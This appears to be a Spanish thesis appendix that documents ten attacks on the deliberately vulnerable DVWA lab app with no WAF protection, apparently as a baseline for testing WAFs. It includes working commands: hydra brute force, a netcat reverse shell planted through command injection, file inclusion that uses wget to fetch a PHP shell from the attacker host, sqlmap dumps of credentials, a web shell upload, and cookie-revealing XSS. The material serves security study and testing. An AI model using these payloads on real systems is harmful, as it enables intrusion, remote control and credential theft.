
ANEXO 2. Resultados de los 10 ataques realizados al target 

DVWA sin la protección de los WAFs Open Source. 

En el presente anexo, se va a ejecutar los 10 ataques descritos sobre el 

aplicativo web vulnerable DVWA. Los ataques se realizan directamente al 

aplicativo web, sin contar con la protección de los WAFs. A continuación se 

muestran los resultados obtenidos por cada uno de los ataques realizados:   

Ataque 1: Fuerza Bruta 

El ataque se basa en obtener el password del usuario común “admin” a través 

de un diccionario establecido. 

Pasos para realizar el ataque de fuerza bruta: 

 Configurar el acceso proxy del navegador web como configuración

manual del proxy:

 Ingresar al target del aplicativo web vulnerable, e ingresar credenciales

de acceso incorrectos.



 Abrir la herramienta OWASP ZAP, y capturar el tráfico. Se obtienen los 

parámetros (método get, cookie, username, password) necesarios para 

ejecutar el ataque: 

 

 

 Y como respuesta se obtiene que las credenciales ingresadas son incorrectas:  

 



 Posteriormente ejecutar el ataque a través de diccionario, desde la 

consola del terminal de Kali Linux ejecutando la herramienta de hydra. 

El comando a ejecutar es el siguiente: 

hydra -l admin -P /root/Escritorio/prueba.txt 192.168.1.41 http-get-form 

"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Lo

gin:F=incorrect:H=Cookie: security=low; 

PHPSESSID=ok1ktd57s6oe2brrvum1qvbsf3" –V 

Los parámetros ejecutados en el comando significan: 

Usuario: admin 

Método: get 

Diccionario: prueba.txt 

Dirección Ip de la víctima: 192.168.1.41 

 

Se puede observar que el ataque realizado fue exitoso, y que las credenciales 

de acceso son: usuario= admin y password= password. 

 

Ataque 2: Ejecución de comandos 

El ataque se basa en ejecutar comandos arbitrarios en el sistema operativo del 

aplicativo web vulnerable. En este caso se va crear una conexión entre el 

aplicativo web y el Kali Linux, y así poder ejecutar cualquier tipo de comando 

dentro del sistema del aplicativo web, dependiendo de los permisos o privilegios 

que contenga. 

Pasos para realizar el ataque de ejecución de comandos:  

 En Kali Linux abrir un terminal y ejecutar el comando nc –nlvp 443, para 

dejar el puerto 443 en escucha y poder realizar una conexión con el 

aplicativo web. 



 

 En el aplicativo web seleccionar la opción de “Command Injectión”, 

realizar el ataque ejecutando en la entrada de texto “Enter an IP address” 

el comando: 127.0.0.1 && nc.traditional 192.168.1.10 443 -e /bin/sh 

para realizar la conexión. Y así poder ejecutar cualquier tipo de comando 

dentro del sistema del aplicativo web, dependiendo de los permisos o 

privilegios que contenga. 

 

 

 Como resultado se puede observar que la página web se queda 

cargando por un momento. Y en la consola del terminal de kali linux ya 

se tiene una conexión exitosa: 

 

 Comprobar la conexión, ejecutando por ejemplo el comando 

/etc/passwd: 

 



Ataque 3: File Inclusión Local 

El ataque  consiste en incluir ficheros locales, es decir, archivos que se 

encuentran en el mismo servidor de la web. 

Pasos para realizar el ataque File Inclusión Local: 

 Seleccionar la opción “File Inclusión” del aplicativo web. Dar clic en 

cualquiera de los 3 ficheros php.  

 

 Se obtiene como respuesta algunos parámetros de la conexión 

realizada. 

 

 Realizar el ataque ejecutando el comando 

192.168.1.41/dvwa/vulnerabilities/fi/?page=/etc/passwd en la URL del 

navegador web, para obtener el contenido del fichero de usuarios del 

sistema. Se puede cambiar el comando /etc/passwd por cualquier otro 

comando del sistema. 

 



Ataque 4: File Inclusión Externo 

El ataque  consiste en incluir ficheros remotos, es decir, archivos que se 

encuentran en otros servidores. En este caso se va a cargar un payload realizado 

en php con el contenido “SHELL CARGADO CORRECTAMENTE” en el servidor 

web DVWA, desde un servidor web instalado en Kali Linux. El payload está 

alojado en el Kali Linux en la siguiente ruta: /var/www/html/ y se denomina 

shell.php. 

Pasos para realizar el ataque File Inclusión externo: 

 Primero verificar que en Kali Linux que se esté ejecutando el servicio de 

apache2, para ello ejecutar service apache2 status, en caso de que no 

está activado, ejecutar service apache2 start. 

 

 Crear un fichero denominado shell.php en la ruta /var/www/html/ de Kali 

Linux, con el siguiente contenido: 

 

 Comprobar que el fichero se cargue correctamente desde cualquier 

cliente en un navegador web: 

 

 



 Ejecutar el ataque el comando en la URL del navegador web:  

proxy-waf.com.ec/dvwa/vulnerabilities/fi/?page=data:,<?php 

system($_GET['cmd']);?>&cmd=wget http://192.168.1.10/shell.php -P 

/var/www/dvwa/hackable/uploads. 

 

 

Se ejecuta el comando wget para cargar el archivo o payload denominado 

shell.php, la dirección IP 192.168.1.10 es la del servidor web en este caso la del 

Kali Linux; y la ruta /var/www/dvwa/hackable/uploads es la ruta del aplicativo web 

vulnerable (DVWA) donde se guardará el payload, para posteriormente ser 

ejecutado. 

 Comprobar en el aplicativo web que el archivo cargado se pueda ejecutar: 

 

 También, se puede verificar que el archivo shell.php se encuentra cargado 

en la ruta del aplicativo web. 

 

 

Ataque 5.1: Inyección SQL Manual 

El ataque  consiste en inyectar sentencias SQL a través del(los) input(s) del 

aplicativo web vulnerable, para la manipulación de las bases de datos. 

Pasos para realizar el ataque Inyección SQL Manual: 

 Seleccionar la opción “SQL Inyection” del aplicativo web. Ejecutar el 

parámetro ' or '1=1 en la entrada de texto “User ID:” del aplicativo web.  

 



 

 

 Se obtiene los datos “First name” y “Surname. 

 

 

Ataque 5.2: Inyección SQL Manual 

El ataque  consiste en inyectar sentencias SQL a través del(los) input(s) del 

aplicativo web vulnerable, para la manipulación de las bases de datos. 

Pasos para realizar el ataque Inyección SQL Manual: 

 Seleccionar la opción “SQL Inyection” del aplicativo web. Ejecutar el 

parámetro 1' or 1=1 union select null, table_name from 

information_schema.tables#  en la entrada de texto “User ID:” del 

aplicativo web.  

 



 

 

 Se obtiene información de las tablas de la base de datos, por ejemplo 

una denominada “ENGINES”. 

 

 

Ataque 5.3: Inyección SQL Automatizado 

El ataque se basa en ejecutar código sql automáticamente hasta detectar y 

aprovechar las vulnerabilidades de inyección SQL en el aplicativo web, y obtener 

datos como nombre de las bases de datos, tablas, usuarios, passwords, etc. 

Pasos para realizar el ataque Inyección SQL Automatizado: 

 Configurar el acceso proxy del navegador web como configuración 

manual del proxy. 

 Abrir la herramienta OWASP ZAP, y capturar el tráfico.  
 Seleccionar la opción “SQL Inyection” del aplicativo web. Ejecutar el 

parámetro 1 en la entrada de texto “User ID:” del aplicativo web. 

 

 



 Obtener los parámetros necesarios (método de petición get, ID y la 

cookie) para ejecutar el ataque: 

 

 Posteriormente ejecutar el ataque, desde la consola del terminal de Kali 

Linux ejecutando la herramienta de Sqlmap. El comando a ejecutar para 

obtener el nombre de las bases de datos, es el siguiente: 

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -

-cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" --dbs 

 

Ejecutar el siguiente comando para obtener las tablas: 

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -

-cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa –

tables 

 



Ejecutar el siguiente comando para obtener las columnas y el tipo: 

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -

-cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T 

users –columns 

 

Ejecutar el siguiente comando para obtener usuarios y passwords: 

sqlmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -

-cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T 

users –dump 

 

 

Ataque 6.1: Inyección SQL Blind Manual 

El ataque se basa en ejecutar el parámetro 'or 7=7# en la entrada de texto “User 

ID:” del aplicativo web vulnerable. Para verificar si el ID existe. Por defecto, el 

aplicativo tiene habilitado los ID’s: 1, 2, 3, 4 y 5 en la base de datos. Cualquier 

otro número nos devolverá que el ID no existe. En este caso estamos 

introduciendo un valor con ID=7, de tal forma que no importe el ID que pongamos 

y siempre nos devuelva el mensaje que el ID existe. 

Pasos para realizar el ataque Inyección SQL Blind Manual: 



 Seleccionar la opción “SQL Inyection Blind” del aplicativo web. Ejecutar 

el parámetro 'or 7=7#  en la entrada de texto “User ID:” del aplicativo 

web.  

 

 Como resultado se obtiene que cualquier ID que se ingrese, devuelve 

como resultado que el ID existe. 

 

 

Ataque 6.2: Inyección SQL Blind Automatizado 

El ataque se basa en ejecutar código sql automáticamente hasta detectar y 

aprovechar las vulnerabilidades de inyección SQL Blind en el aplicativo web, y 

obtener datos como nombre de las bases de datos, tablas, usuarios, passwords, 

etc. Además para obtener los parámetros necesarios para ejecutar el ataque se 

hace uso de la herramienta OWASP ZAP, para obtener los datos necesarios 

como el ID de la petición web realizada, la Cookie. 

Pasos para realizar el ataque Inyección SQL Blind Automatizado: 

 Configurar el acceso proxy del navegador web como configuración 

manual del proxy. 

 Abrir la herramienta OWASP ZAP, y capturar el tráfico.  
 Seleccionar la opción “SQL Inyection Blind” del aplicativo web. Ejecutar 

el parámetro 1 en la entrada de texto “User ID:” del aplicativo web. 

 

 



 Obtener los parámetros necesarios (método de petición get, ID y la 

cookie) para ejecutar el ataque: 

 

 Posteriormente ejecutar el ataque, desde la consola del terminal de Kali 

Linux ejecutando la herramienta de Sqlmap. El comando a ejecutar para 

obtener el nombre de las bases de datos, es el siguiente: 

sqlmap –u 

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --

cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" –dbs 

 

Ejecutar el siguiente comando para obtener las tablas: 

sqlmap -u 

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --

cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa –

tables 



 

Ejecutar el siguiente comando para obtener las columnas y el tipo: 

sqlmap -u 

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --

cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T 

users –columns 

 

Ejecutar el siguiente comando para obtener usuarios y passwords: 

sqlmap -u 

"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --

cookie "security=low; PHPSESSID=l8mgc0r3ircht5ja4uhl8dpel5" -D dvwa -T 

users –dump 



 

 

Ataque 7: File Upload 

El ataque se basa en cargar un payload, en este caso un archivo denominado 

shell1.php al sistema de archivos del aplicativo web, el cual nos permite ejecutar 

comandos dentro del sistema operativo del aplicativo web. 

Pasos para realizar el ataque File Upload: 

 Seleccionar la opción “File Upload” del aplicativo web. Dar clic en la opción 

Examinar, y cargar el archivo denominado shell1.php. 

 

 El archivo shell1.php contiene lo siguiente: 

 



 Si el archivo se cargó exitosamente al aplicativo web, se obtendrá el 

siguiente mensaje: 

 

 Posteriormente efectuar el ataque, ejecutar el siguiente comando en la 

URL del navegador web:  

http://192.168.1.41/dvwa/hackable/uploads/shell1.php?cmd=pwd 

 

El comando cmd=pwd muestra el nombre del directorio actual, se puede 

cambiar el comando pwd por cualquier otro comando del sistema. 

 

Ataque 8: Cross Site Scripting (XSS) DOM 

Este tipo de ataques consisten en ejecutar cualquier tipo de código, con el 

objetivo, como por ejemplo poder robar las cookies para posteriormente robar la 

identidad, etc. 

Pasos para realizar el ataque XSS DOM: 

 Seleccionar la opción “XSS Dom” del aplicativo web. Seleccionar el idioma 

y dar clic en la opción Select. 

 



 Ejecutar código JavaScript en la URL del navegador web. El código es el 

siguiente:   

http://192.168.1.41/dvwa/vulnerabilities/xss_d/?default=<script 

type="text/javascript">alert("XSS DOM");</script> 

 

 Como resultado se obtendrá un mensaje de alerta en el navegador web. 

 

 

Ataque 9: Cross Site Scripting (XSS) Reflected 

Este tipo de ataques consisten en ejecutar cualquier tipo de código, con el 

objetivo, como por ejemplo poder robar las cookies para posteriormente robar la 

identidad, etc. 

Pasos para realizar el ataque XSS Reflected: 

 Seleccionar la opción “XSS Reflected” del aplicativo web. En la entrada 

de texto “What´s your name” escribir cualquier nombre, se recibirá como 

respuesta un mensaje “Hello nombre”:  

 



 Ejecutar código JavaScript en la entrada de texto denominado “What´s 

your name” del aplicativo web. El código es el siguiente:   

<script>alert("GABRIEL")</script> 

 

 Como resultado se obtendrá un mensaje de alerta en el navegador web. 

 

 

Ataque 10: Cross Site Scripting (XSS) Stored 

Este tipo de ataques consisten en ejecutar cualquier tipo de código, con el 

objetivo, como por ejemplo poder robar las cookies para posteriormente robar la 

identidad, etc. 

Pasos para realizar el ataque XSS Stored: 

 Seleccionar la opción “XSS Stored” del aplicativo web. En la entrada de 

texto “Name” escribir cualquier nombre, en la entrada de texto ”Message” 

escribir un mensaje de texto. Se recibirá como respuesta el mensaje 

publicado y con el nombre. 



 

 Ejecutar código JavaScript en la entrada de texto denominado “Message” 

del aplicativo web. El código es el siguiente:   

<script>alert(document.cookie)</script> 

 

 Como resultado se obtendrá un mensaje de alerta en el navegador web, 

con el tipo de seguridad y la cookie de la sesión, de manera permanente. 

 


